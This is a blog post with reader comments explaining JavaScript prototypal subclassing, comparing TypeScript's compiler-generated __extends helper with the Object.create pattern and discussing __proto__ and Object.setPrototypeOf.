{ "red_pajama_v2": { "ccnet_original_length": 16181, "ccnet_original_nlines": 1402, "rps_doc_curly_bracket": 0.003708049887791276, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.2281733751296997, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.047987621277570724, "rps_doc_frac_lines_end_with_ellipsis": 0.002138280076906085, "rps_doc_frac_no_alph_words": 0.3185758590698242, "rps_doc_frac_unique_words": 0.41405874490737915, "rps_doc_mean_word_length": 5.647568702697754, "rps_doc_num_sentences": 206, "rps_doc_symbol_to_word_ratio": 0.0015479900175705552, "rps_doc_unigram_entropy": 6.098197937011719, "rps_doc_word_count": 2077, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.004262569826096296, "rps_doc_frac_chars_top_3gram": 0.00562659977003932, "rps_doc_frac_chars_top_4gram": 0.0018755299970507622, "rps_doc_books_importance": -1493.3917236328125, "rps_doc_books_importance_length_correction": -1493.3917236328125, "rps_doc_openwebtext_importance": -809.1775512695312, "rps_doc_openwebtext_importance_length_correction": -809.1775512695312, "rps_doc_wikipedia_importance": -550.4879760742188, "rps_doc_wikipedia_importance_length_correction": -550.4879760742188 }, "fasttext": { "dclm": 0.080237977206707, "english": 0.7408931255340576, "fineweb_edu_approx": 2.3384764194488525, "eai_general_math": 0.27101606130599976, "eai_open_web_math": 0.12760210037231445, "eai_web_code": 0.7189808487892151 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.82", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.138", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "4", "label": "Analyze" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "4", "label": "Advanced Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-1,684,954,218,568,757,500
4 We have a site where the homepage is not being cached and contains the headers: x-cache: MISS, MISS x-cache-hits: 0, 0 x-content-type-options: nosniff x-drupal-dynamic-cache: UNCACHEABLE I narrowed this down to the content regions contents, and disabled the "Main page content" for the front page. This then gave me a cache HIT, and no longer responded as UNCACHEABLE. From there, I narrowed it down to a field formatter being used on a paragraph. We have a custom one that extends the normal entity render formatter. If I swap it back to the original "Render entity" formatter, everything is fine. So then, it must be something we are doing in this custom formatter causing the issue. I can see when I follow with xdebug that shouldCacheResponse of DynamicPageCacheSubscriber returns FALSE, because something is setting max-age to 0 (not by code). It looks like calls to addCacheableDependency may be triggering this behavior in the formatter: Essentially, the formatter adds cache data to the render so if any of its referenced items are updated, the cache should be invalidated for that host paragraph so it re-renders: $view_builder = \Drupal::entityTypeManager()->getViewBuilder($entity->getEntityTypeId()); $elements[$delta] = $view_builder->view($entity, $view_mode, $entity->language()->getId()); try { $parent = $items->getParent(); $parent_entity = $parent->getValue(); $elements[$delta]['#cache']['keys'][] = $parent_entity->id(); $elements[$delta]['#cache']['keys'][] = $parent_entity->bundle(); $elements[$delta]['#cache']['keys'][] = $parent_entity->getEntityTypeId(); $elements[$delta]['#cache']['keys'][] = 'delta_' . $delta; $elements[$delta]['#cache']['keys'][] = 'context_aware'; $this->renderer->addCacheableDependency($elements[$delta], $parent); if ($entity->hasField('field_author')) { $child = $entity->field_author->entity; if (isset($child)) { $this->renderer->addCacheableDependency($elements[$delta], $child); } } // similar statements with addCacheableDependency If I comment out this initial line: $this->renderer->addCacheableDependency($elements[$delta], $parent); Then I get a cacheable response. This looks to be because the $parent item (even though it is a node or paragraph or media entity) triggers this: /** * Creates a CacheableMetadata object from a depended object. * * @param \Drupal\Core\Cache\CacheableDependencyInterface|mixed $object * The object whose cacheability metadata to retrieve. If it implements * CacheableDependencyInterface, its cacheability metadata will be used, * otherwise, the passed in object must be assumed to be uncacheable, so * max-age 0 is set. * * @return static */ public static function createFromObject($object) { if ($object instanceof CacheableDependencyInterface) { $meta = new static(); $meta->cacheContexts = $object->getCacheContexts(); $meta->cacheTags = $object->getCacheTags(); $meta->cacheMaxAge = $object->getCacheMaxAge(); return $meta; } // Objects that don't implement CacheableDependencyInterface must be assumed // to be uncacheable, so set max-age 0. $meta = new static(); $meta->cacheMaxAge = 0; return $meta; } Setting cacheMaxAge to 0 because it is not an instance of CacheableDependencyInterface. If I am already setting the cache keys, is this line even needed: $this->renderer->addCacheableDependency($elements[$delta], $parent); If I remove that, will there be an adverse effect (like render displays not re-rendering when referenced items are saved)? 5 • 2 Setting cache keys is not enough, you need the cache tags as well. So don't remove this line, just check the object is not NULL. – 4uk4 Commented Jul 27, 2021 at 16:13 • 1 Yeah cache keys don't really do anything - contexts, tags, and max-age are what you'd want to make sure to carry over. – sonfd Commented Jul 27, 2021 at 16:16 • $parent is not null, but is received in createFromObject as an instance of EntityAdapter (containing the entity node, or paragraph) which I can't trace as implementing CacheableDependencyInterface – Kevin Commented Jul 27, 2021 at 16:16 • 2 OK, now I see the problem, the entity with the cache data is $parent_entity. – 4uk4 Commented Jul 27, 2021 at 16:17 • That is what I suspected, thanks for confirming. Changing that returns a cacheable response to the browser. – Kevin Commented Jul 27, 2021 at 16:20 1 Answer 1 5 This was a good debug deep dive. As mentioned by 4k4 the problem is the first addCacheableDependency line. Instead of passing the host entity itself, I was mistakenly passing the object returned from getParent which is a TypedData instance that does not implement CacheableDependencyInterface - thus causing the max-age to be set to 0 and the UNCACHEABLE header result. Passing the entity (returned from getValue()) resolved the issue: $parent = $items->getParent(); $parent_entity = $parent->getValue(); ... $this->renderer->addCacheableDependency($elements[$delta], $parent_entity); Your Answer By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy. Not the answer you're looking for? Browse other questions tagged or ask your own question.
{ "url": "https://drupal.stackexchange.com/questions/304328/debugging-uncacheable-header", "source_domain": "drupal.stackexchange.com", "snapshot_id": "CC-MAIN-2024-26", "warc_metadata": { "Content-Length": "163293", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:XLXXLDFZSWI7MFHTOWTWI62DUSF67GR2", "WARC-Concurrent-To": "<urn:uuid:b397898f-cc7b-4458-853a-24f4f4410383>", "WARC-Date": "2024-06-24T16:10:01Z", "WARC-IP-Address": "172.64.144.30", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:LDJRPZO4D2WREMYEYPK2LQY7FNLFGJYU", "WARC-Record-ID": "<urn:uuid:7e72d505-bc13-41a1-81d5-697c888ec57c>", "WARC-Target-URI": "https://drupal.stackexchange.com/questions/304328/debugging-uncacheable-header", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:4df3af0b-9621-4e00-996a-e58da99d8aaf>" }, "warc_info": "isPartOf: CC-MAIN-2024-26\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-161\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 2, 3, 83, 84, 104, 123, 155, 191, 192, 523, 524, 692, 693, 952, 953, 1131, 1132, 1227, 1325, 1326, 1338, 1377, 1423, 1493, 1567, 1650, 1717, 1782, 1783, 1860, 1861, 1910, 1960, 1961, 1992, 2072, 2084, 2094, 2095, 2153, 2154, 2190, 2191, 2260, 2261, 2407, 2408, 2414, 2478, 2483, 2557, 2633, 2710, 2787, 2812, 2817, 2837, 2843, 2896, 2955, 2983, 3041, 3091, 3145, 3165, 3171, 3172, 3253, 3297, 3323, 3351, 3369, 3373, 3374, 3462, 3463, 3529, 3530, 3599, 3600, 3723, 3724, 3726, 3732, 3865, 3876, 3912, 3918, 4041, 4053, 4089, 4290, 4302, 4338, 4344, 4425, 4436, 4472, 4584, 4596, 4632, 4633, 4644, 4645, 4647, 4648, 4755, 4756, 5019, 5020, 5086, 5087, 5122, 5164, 5172, 5252, 5253, 5265, 5266, 5382, 5383 ], "line_end_idx": [ 2, 3, 83, 84, 104, 123, 155, 191, 192, 523, 524, 692, 693, 952, 953, 1131, 1132, 1227, 1325, 1326, 1338, 1377, 1423, 1493, 1567, 1650, 1717, 1782, 1783, 1860, 1861, 1910, 1960, 1961, 1992, 2072, 2084, 2094, 2095, 2153, 2154, 2190, 2191, 2260, 2261, 2407, 2408, 2414, 2478, 2483, 2557, 2633, 2710, 2787, 2812, 2817, 2837, 2843, 2896, 2955, 2983, 3041, 3091, 3145, 3165, 3171, 3172, 3253, 3297, 3323, 3351, 3369, 3373, 3374, 3462, 3463, 3529, 3530, 3599, 3600, 3723, 3724, 3726, 3732, 3865, 3876, 3912, 3918, 4041, 4053, 4089, 4290, 4302, 4338, 4344, 4425, 4436, 4472, 4584, 4596, 4632, 4633, 4644, 4645, 4647, 4648, 4755, 4756, 5019, 5020, 5086, 5087, 5122, 5164, 5172, 5252, 5253, 5265, 5266, 5382, 5383, 5473 ] }
{ "red_pajama_v2": { "ccnet_original_length": 5473, "ccnet_original_nlines": 121, "rps_doc_curly_bracket": 0.0016444399952888489, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.2632558047771454, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.020465120673179626, "rps_doc_frac_lines_end_with_ellipsis": 0.00819671992212534, "rps_doc_frac_no_alph_words": 0.34418603777885437, "rps_doc_frac_unique_words": 0.4451219439506531, "rps_doc_mean_word_length": 5.971036434173584, "rps_doc_num_sentences": 28, "rps_doc_symbol_to_word_ratio": 0.005581399891525507, "rps_doc_unigram_entropy": 5.2477335929870605, "rps_doc_word_count": 656, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.049017101526260376, "rps_doc_frac_chars_dupe_6grams": 0.049017101526260376, "rps_doc_frac_chars_dupe_7grams": 0.049017101526260376, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.0063824402168393135, "rps_doc_frac_chars_top_3gram": 0.017870819196105003, "rps_doc_frac_chars_top_4gram": 0.022976769134402275, "rps_doc_books_importance": -468.9034423828125, "rps_doc_books_importance_length_correction": -468.9034423828125, "rps_doc_openwebtext_importance": -274.9081115722656, "rps_doc_openwebtext_importance_length_correction": -274.9081115722656, "rps_doc_wikipedia_importance": -135.45956420898438, "rps_doc_wikipedia_importance_length_correction": -135.45956420898438 }, "fasttext": { "dclm": 0.5005082488059998, "english": 0.749377429485321, "fineweb_edu_approx": 1.850730061531067, "eai_general_math": 0.11424971371889114, "eai_open_web_math": 0.1374661922454834, "eai_web_code": 0.1534774899482727 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.74", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "4", "label": "Analyze" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "4", "label": "Graduate/Expert Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
8,445,737,550,746,851,000
Streaming Problems 8 posts / 0 new Last post Offline Last seen: 13 years 5 months ago Joined: Mar 10 2008 - 07:58 Posts: 4 Streaming Problems i just bought a used ibook that won't stream right. no matter what video media i try to watch, it just won't play smoothly. is there anything i can do, or did i just buy a lemon? cwsmith's picture Offline Last seen: 2 months 4 days ago Joined: Oct 13 2005 - 08:23 Posts: 698 We need more information to help you ... • Which model iBook? What speed is the processor? How much RAM? • Which Mac OS are you running? Have you run all the available updates? • What's your internet connection? Dialup? DSL? Cable? Who's your service provider? • Which internet browser are you using? Is there a newer version you haven't installed yet? Have you tried a different browser? • What type of media won't stream? QuickTime? Windows Media? YouTube? • Does the problem only occur when viewing inside a browser, or when using a stand-alone application? Jon Jon's picture Offline Last seen: 10 years 4 months ago Joined: Dec 20 2003 - 10:38 Posts: 2804 RAM and CPU speed are likely RAM and CPU speed are likely to be the biggest issues for streaming on an iBook, provided that it's got a decent net connection. This issue has come up here somewhat recently: http://www.applefritter.com/node/21973 Offline Last seen: 13 years 5 months ago Joined: Mar 10 2008 - 07:58 Posts: 4 it's a powerPC G3 processor, it's a powerPC G3 processor, 600 MHz speed, 640 MB ram, 60 GB hard drive, Mac OS 10.4.11 Tiger. my internet connection is the airport card that came with the ibook. i use firefox, supposedly it works best with streaming media, but makes no difference with the ibook. NOTHING will stream well, no matter HOW i'm trying to view it. quicktime, windows, youtube, nothing. i've downloaded (or tried to download) several other viewers from the internet; divx, upgrades of quicktime, veoh. veoh says it won't download because i don't have at least quicktime 7, even after i upgraded to 7.4. Offline Last seen: 13 years 5 months ago Joined: Mar 10 2008 - 07:58 Posts: 4 i just read the posts from th i just read the posts from the link from jon about crappy streaming with ibook. looks like its a RAM problem. i could upgrade to leopard, but wouldn't that mean an intel processor and less resistance to viruses? that's why i wanted a mac in the first place. forgive my ignorance. i'm new to mac. Eudimorphodon's picture Offline Last seen: 3 weeks 18 hours ago Joined: Dec 21 2003 - 14:14 Posts: 1204 Re: i just read the posts from th i could upgrade to leopard, but wouldn't that mean an intel processor and less resistance to viruses? that's why i wanted a mac in the first place. You wouldn't be getting an Intel processor unless you bought a new machine. Which I guess you'd have to do since an iBook won't run Leopard. ;^) That old hokum about "Intel processors having less resistance to viruses" that Mac people used to spout was nothing but that, hokum. It's operating systems that get viruses, not CPUs. Viruses are a *Windows* problem, not an Intel problem. There's a nice simple rule to keep in mind when reading Macintosh literature: Everything you read about Intel CPUs written prior to 2006 is basically complete and total rubbish. (No, a 500Mhz G4 is *not* faster then a 3.6Ghz Pentium 4...) ;^b As to lousy streaming on an iBook, well, you have all the RAM you can have, and more RAM isn't going to help. Your machine is just plain slow. You don't say *which* 600Mhz iBook you have (there are two different models at that speed), but you probably have the one with a RAGE 128 video chipset. (It's more common.) The current version of the Flash player specifically doesn't support hardware scaling with that chip, while most YouTube-ish sites insist on playing videos at a non-native size. (IE, scaling.) You're really going to have to trade up to something faster to be happy. --Peace Jon Jon's picture Offline Last seen: 10 years 4 months ago Joined: Dec 20 2003 - 10:38 Posts: 2804 Leopard is not going on your Leopard is not going on your iBook, it needs an 867MHz or faster G4. You basically have the same iBook setup that I do, but with a larger drive. Have you tried using the minimize button that is on most YouTube videos? YouTube scales videos up to a larger size by default, and that eats up your CPU power to do it. Also, the iBook supports CPU speed scaling so check in System Preferences/Energy Saver/Options and check if Processor Performance is set to either Automatic or Highest. On my iBook I have it set for Highest when using the Power Adapter, and Automatic when on Battery. Of course, to get the longest battery life set it for Reduced on Battery power. I just opened FF 2.0 on my iBook (on A/C power) and it has 6 open tabs (iGoogle, AF, Craigslist, YouTube, two more). I found the goofy video for Soulja Boy Remix: Folger's Boy and played it. It plays ok enough to watch at the defualt YouTube size, but by making it a tad smaller by clicking the shrink button it gets much smoother. It even plays at full screen, though laggy. Your hardware should handle streaming YouTube just fine. Do note that if you are always shutting down your iBook and booting it up it will always be slower when running apps for the first time from a boot/reboot. I always leave my iBook booted up and just log out to the Login Window and close the screen to put it to sleep. I only shut it down when software upgrades need to do so. EDIT: Watching WMV videos will be painful on a G3. It's not too fun on my 1.5GHz G4, but it works. Any G3 will spend a lot of CPU power decoding WMV videos and audio. Also, Eudi makes a good point of your video chip. My iBook is a 16VRAM model, which has an ATI Mobility Radeon chip. You can find out about yours in About This Mac... / More info... / Graphics/Displays. It will either have 8 or 16 MB VRAM. 16 MB will be an ATI Mobility Radeon chip. (Mine says the Chipset Model is ATY,RageM6) Offline Last seen: 13 years 5 months ago Joined: Mar 10 2008 - 07:58 Posts: 4 thanks so much everyone! you thanks so much everyone! you're too kind and it all makes sense now. i will check my processor settings and leave the machine asleep when not in use for optimum performance. i did notice that streams ran a bit better on smaller screens. kind of a bummer, but at least i have an understanding of what i can reasonably expect. maybe i'll just bite the bullet and sign up for netflix! :oD Log in or register to post comments
{ "url": "https://www.applefritter.com/comment/53789", "source_domain": "www.applefritter.com", "snapshot_id": "crawl=CC-MAIN-2021-39", "warc_metadata": { "Content-Length": "46071", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:3HGWGUU4XFTUQHWYX43P7VO2PYDGEPEI", "WARC-Concurrent-To": "<urn:uuid:7f1fd6f8-df22-443a-a63b-794df719196d>", "WARC-Date": "2021-09-28T19:53:07Z", "WARC-IP-Address": "97.107.138.120", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:MA5HEIA3P3WNVE3YESAIRH3P54YIWSMD", "WARC-Record-ID": "<urn:uuid:20f31fa0-8006-4ced-bbeb-ced55f7b64c3>", "WARC-Target-URI": "https://www.applefritter.com/comment/53789", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:b388e095-fd11-4c17-96d9-8aae84bc0d04>" }, "warc_info": "isPartOf: CC-MAIN-2021-39\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-93\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 19, 20, 36, 46, 54, 87, 115, 124, 143, 144, 323, 324, 342, 350, 381, 409, 420, 461, 462, 526, 527, 599, 600, 684, 685, 813, 814, 884, 885, 987, 988, 992, 1006, 1014, 1047, 1075, 1087, 1116, 1117, 1332, 1333, 1341, 1374, 1402, 1411, 1440, 1441, 1537, 1538, 1709, 1710, 2027, 2028, 2036, 2069, 2097, 2106, 2136, 2137, 2395, 2396, 2434, 2435, 2459, 2467, 2499, 2527, 2539, 2573, 2574, 2722, 2723, 2868, 2869, 3351, 3352, 3934, 3935, 3943, 3944, 3948, 3962, 3970, 4003, 4031, 4043, 4072, 4073, 4735, 4736, 5169, 5170, 5496, 5497, 5991, 5992, 6000, 6033, 6061, 6070, 6099, 6100, 6274, 6275, 6487, 6488 ], "line_end_idx": [ 19, 20, 36, 46, 54, 87, 115, 124, 143, 144, 323, 324, 342, 350, 381, 409, 420, 461, 462, 526, 527, 599, 600, 684, 685, 813, 814, 884, 885, 987, 988, 992, 1006, 1014, 1047, 1075, 1087, 1116, 1117, 1332, 1333, 1341, 1374, 1402, 1411, 1440, 1441, 1537, 1538, 1709, 1710, 2027, 2028, 2036, 2069, 2097, 2106, 2136, 2137, 2395, 2396, 2434, 2435, 2459, 2467, 2499, 2527, 2539, 2573, 2574, 2722, 2723, 2868, 2869, 3351, 3352, 3934, 3935, 3943, 3944, 3948, 3962, 3970, 4003, 4031, 4043, 4072, 4073, 4735, 4736, 5169, 5170, 5496, 5497, 5991, 5992, 6000, 6033, 6061, 6070, 6099, 6100, 6274, 6275, 6487, 6488, 6523 ] }
{ "red_pajama_v2": { "ccnet_original_length": 6523, "ccnet_original_nlines": 106, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.38025349378585815, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.03202135115861893, "rps_doc_frac_lines_end_with_ellipsis": 0.00934579037129879, "rps_doc_frac_no_alph_words": 0.22881920635700226, "rps_doc_frac_unique_words": 0.3840271830558777, "rps_doc_mean_word_length": 4.268479347229004, "rps_doc_num_sentences": 93, "rps_doc_symbol_to_word_ratio": 0.0026684498880058527, "rps_doc_unigram_entropy": 5.580778121948242, "rps_doc_word_count": 1177, "rps_doc_frac_chars_dupe_10grams": 0.12101911008358002, "rps_doc_frac_chars_dupe_5grams": 0.17058120667934418, "rps_doc_frac_chars_dupe_6grams": 0.15266719460487366, "rps_doc_frac_chars_dupe_7grams": 0.13037419319152832, "rps_doc_frac_chars_dupe_8grams": 0.13037419319152832, "rps_doc_frac_chars_dupe_9grams": 0.12101911008358002, "rps_doc_frac_chars_top_2gram": 0.017515920102596283, "rps_doc_frac_chars_top_3gram": 0.023885350674390793, "rps_doc_frac_chars_top_4gram": 0.0135350301861763, "rps_doc_books_importance": -634.5066528320312, "rps_doc_books_importance_length_correction": -634.5066528320312, "rps_doc_openwebtext_importance": -383.01483154296875, "rps_doc_openwebtext_importance_length_correction": -383.01483154296875, "rps_doc_wikipedia_importance": -225.90220642089844, "rps_doc_wikipedia_importance_length_correction": -225.90220642089844 }, "fasttext": { "dclm": 0.023662809282541275, "english": 0.9374640583992004, "fineweb_edu_approx": 1.10362708568573, "eai_general_math": 0.06078236922621727, "eai_open_web_math": 0.20895224809646606, "eai_web_code": 0.0003697900101542473 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.16", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "005.457", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "21", "label": "Customer Support" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "2", "label": "Partially Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "1", "label": "General Audience" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
3,826,748,137,074,324,000
JavaScript subclassing using Object.create In my previous post, I talked about how Microsoft’s TypeScript was able to build simple class-based inheritance on top of JavaScript’s prototypal inheritance. To recap, the compiler includes a short function named extends that handles rejigging the prototype chain between the sub-class and the super-class to achieve the desired inheritance. [javascript] var __extends = this.__extends || function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; function __() { this.constructor = d; } __.prototype = b.prototype; d.prototype = new __(); }; [/javascript] The trickiness of this pattern can help us understand the impetus for one of JavaScript’s newer features, Object.create. When you first encounter this method, you might wonder why JavaScript needs another way to create objects, when it already has the object literal syntax and constructor functions? Where Object.create differs from those options is that lets you provide, as the first argument to the method, an object that will become the new object’s prototype. Remember that there is a difference between an object’s public prototype property and its internal [[Prototype]] property. When JavaScript is looking up properties on an object, it uses the latter, but traditionally the only standardised way to control it for a new object has been to use the pattern applied by __extends. You create a new function with a public prototype property, then apply the new operator on the function to create a new object. When the new operator is used with a function, the runtime sets the [[Prototype]] property of the new object to the object referenced by the public prototype property of the function. While this approach to controlling the [[Prototype]] works, it is a little opaque and wasteful, requiring the declaration of a new function simply for the purpose of controlling this internal property. With Object.create, the extra function is no longer required, as the [[Prototype]] can be controlled directly. A dead simple example would be. [javascript] var animal = { legs: 4 }, dog; dog = Object.create(animal); dog.legs == 4; // True [/javascript] dog The end result couldn’t be simpler — An object dog with a [[Prototype]] of animal. We can extend this to reproduce the functionality of __extends without the faff of an additional function. [javascript] function SuperClass() { }; function SubClass() { }; SubClass.prototype = Object.create(SuperClass.prototype); SubClass.prototype.constructor = SubClass; [/javascript] subclass-superclass I think you’ll agree that this is a much friendlier pattern than what __extends does, and in fact only today I found it recommended in feedback from the W3C TAG to the Web Audio working group, referred to as the “subclassing pattern”. So why didn’t Microsoft use it? Unfortunately, Object.create isn’t supported in Internet Explorer 8 and below, meaning TypeScript has to use the older pattern in order to maximise compatibility. Since __extends is compiler-generated JavaScript, its readability hardly matters anyway, as TypeScript developers will only see the class syntax of that language. __proto__ I said above that there was traditionally no standardised way to control an object’s [[Prototype]]. However, some browsers have long supported a way of accessing and even changing it, through the __proto__ property. Although not part of any official specification, this property became a de facto standard, and gained support in all the major browsers except IE. It seems this property was controversial, as it was considered an abstraction error, and mutable prototypes were argued to cause implementation problems. There was talk of deprecating and eventually removing __proto__, while standardising equivalent capability, first through the introduction of Object.create and Object.getPrototypeOf in EcmaScript 5 and now Object.setPrototypeOf in EcmaScript 6 ((setPrototypeOf seems locked-in for ES6, despite Brendan Eich saying in 2011 that it wasn’t going to happen. Although it appears no browser has actually implemented it yet.)). But __proto__ has not gone away yet, and in fact it appears from pre-release builds that Internet Explorer 11 will support it, so who knows if it will ever really die. Posted in , by Tags: Comments 5 responses to “JavaScript subclassing using Object.create” 1. Markus A. Avatar I think you could mix both concepts together, creating a couple of functions, one to extend and other to inherit. // Plain "module" mixin function extend(object, mixin) { Object.getOwnPropertyNames(mixin).forEach(function(prop) { object[prop] = mixin[prop]; }); return object; } // Prototypal inheritance function inherit(child, parent) { child.super_ = parent; // Useful, though purely optional child.prototype = extend(Object.create(parent.prototype), child.prototype); } This pattern has worked great for me. 2. zairon87 Avatar zairon87 I would just like to point out that there is a polyfill for Object.create on the modzilla docs: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create But it is important to note that the second argument is left off in the polyfill. 3. Owen Densmore Avatar Do you have a stunt for “super” in either “extends” or Object.create? I’m wondering if CoffeeScript might convert to this as it becomes more standard. Maybe a shim if not present? Thanks for the discussion, love this stuff. — Owen 1. Jon Avatar Hi Owen, glad you liked it 🙂 Capabilities like Object.create do seem to be targeted at least partially at people writing frameworks and languages that compile to JavaScript, and I wouldn’t be surprised if CoffeeScript uses it when possible. One problem with shimming these APIs is that there are certain functionality that can’t be emulated, such as sealing objects or creating getter and setter functions for properties. These aren’t just creating improved idioms, but are actually exposing new features in the runtime. Take at look at my previous article Exploring JavaScript prototype’s via TypeScript’s class pattern. It has an extended exploration of how TypeScript implements inheritance in JavaScript, including support for superclass access using the “super”keyword. The trick is basically to use function.call() to execute the superclass prototype methods in the context of the subclass instance. 4. Claude Grecea Avatar You could always use a shim to support `Object.create()` for IE. Such has this git. https://github.com/kriskowal/es5-shim Leave a Reply Your email address will not be published. Required fields are marked *
